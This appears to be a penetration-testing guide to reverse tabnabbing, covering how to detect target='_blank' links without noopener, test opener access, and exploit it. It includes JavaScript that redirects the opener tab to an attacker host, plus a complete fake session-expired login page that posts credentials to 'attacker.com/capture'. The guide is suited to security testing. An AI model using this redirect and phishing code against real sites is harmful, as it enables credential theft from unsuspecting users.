Tabnabbing & Reverse Tabnabbing
Reverse tabnabbing via window.opener: opened tabs navigating the opener, target=_blank without rel=noopener, phishing via tab replacement, opener.location hijack, and noopener/noreferrer bypass checks.
What is Reverse Tabnabbing
When a link with target="_blank" is clicked, the new tab gets a reference to the original page via window.opener. If the original page doesn’t set rel="noopener", the new (attacker-controlled) tab can navigate the original tab to a phishing page while the user is looking at the new tab.
The user’s original tab silently changes to a fake login page — they may not notice the URL changed and enter their credentials.
Detection
Step 1 — Find links with target=“_blank”
In Burp Proxy or browser dev tools, search for links without noopener:
// In browser console
Array.from(document.querySelectorAll('a[target="_blank"]'))
.filter(a => !a.rel.includes('noopener'))
.map(a => a.href);
# In source HTML
grep -i 'target="_blank"' index.html | grep -v 'noopener'
Step 2 — Test opener access
Visit an external link (or attacker-controlled site) linked from the target app. On the external page:
// Can the new tab access the opener?
console.log(window.opener); // Should be null if noopener is set
console.log(window.opener?.location.href);
If window.opener is not null → tabnabbing is possible.
Step 3 — Navigate the opener
On the attacker-controlled page (opened via the target’s link):
if (window.opener) {
window.opener.location = 'https://attacker-phishing.com/fake-login';
}
Check if the original tab navigates to the phishing URL → confirmed.
Exploitation
Full attack flow
-
Target site has a link to an external page without
rel="noopener":<a href="https://ATTACKER_CONTROLLED" target="_blank">Click here</a> -
User clicks the link → new tab opens to
ATTACKER_CONTROLLED. -
Attacker’s page immediately executes:
setTimeout(function() { if (window.opener && !window.opener.closed) { window.opener.location = 'https://attacker.com/fake-login'; } }, 2000); // Wait 2 seconds while user looks at new tab -
Original tab silently navigates to the phishing login page.
-
User switches back to the original tab and sees what looks like a timeout/re-login prompt.
Phishing Page Design
The phishing page should look like the original site’s login/session-timeout:
<!DOCTYPE html>
<html>
<head><title>Session Expired</title></head>
<body>
<div class="login-box">
<p>Your session has expired. Please log in again.</p>
<form action="https://attacker.com/capture" method="POST">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<button type="submit">Log in</button>
</form>
</div>
<script>
// Navigate the opener as soon as the page loads
if (window.opener) {
window.opener.location = window.location.href;
}
</script>
</body>
</html>
Variations
User-generated content links
If the target app lets users post links (comments, profiles, chat), inject a link to your server:
Check out this resource: <a href="https://attacker.com" target="_blank">link</a>
JavaScript window.open without noopener
var w = window.open('https://attacker.com', '_blank');
// Now 'w' is the new tab, and the new tab's window.opener is this page
If the opened URL is attacker-controlled, it can use window.opener to navigate back.
Browser Behaviour
| Browser | target=“_blank” without rel | Opener behaviour |
|---|---|---|
| Modern Chrome/Firefox | Yes | Implicitly sets noopener for cross-origin links |
| Safari | Yes | Cross-origin opener still accessible until Safari 12.1+ |
| IE/Edge Legacy | Yes | opener accessible |
| Any browser | Same-origin link | opener accessible regardless |
Same-origin tabnabbing (where both pages are on the same domain) is still fully exploitable in all browsers even with noopener — window.opener is accessible for same-origin.
Burp Suite workflow
- Proxy — spider the target; search response bodies for
target="_blank"withoutnoopener. - Repeater — confirm which links point to external or user-controlled URLs.
- DOM Invader — check for
window.open()calls in JavaScript that lacknoopener. - Test exploitation manually: host a page that logs
window.openerand verify it’s not null.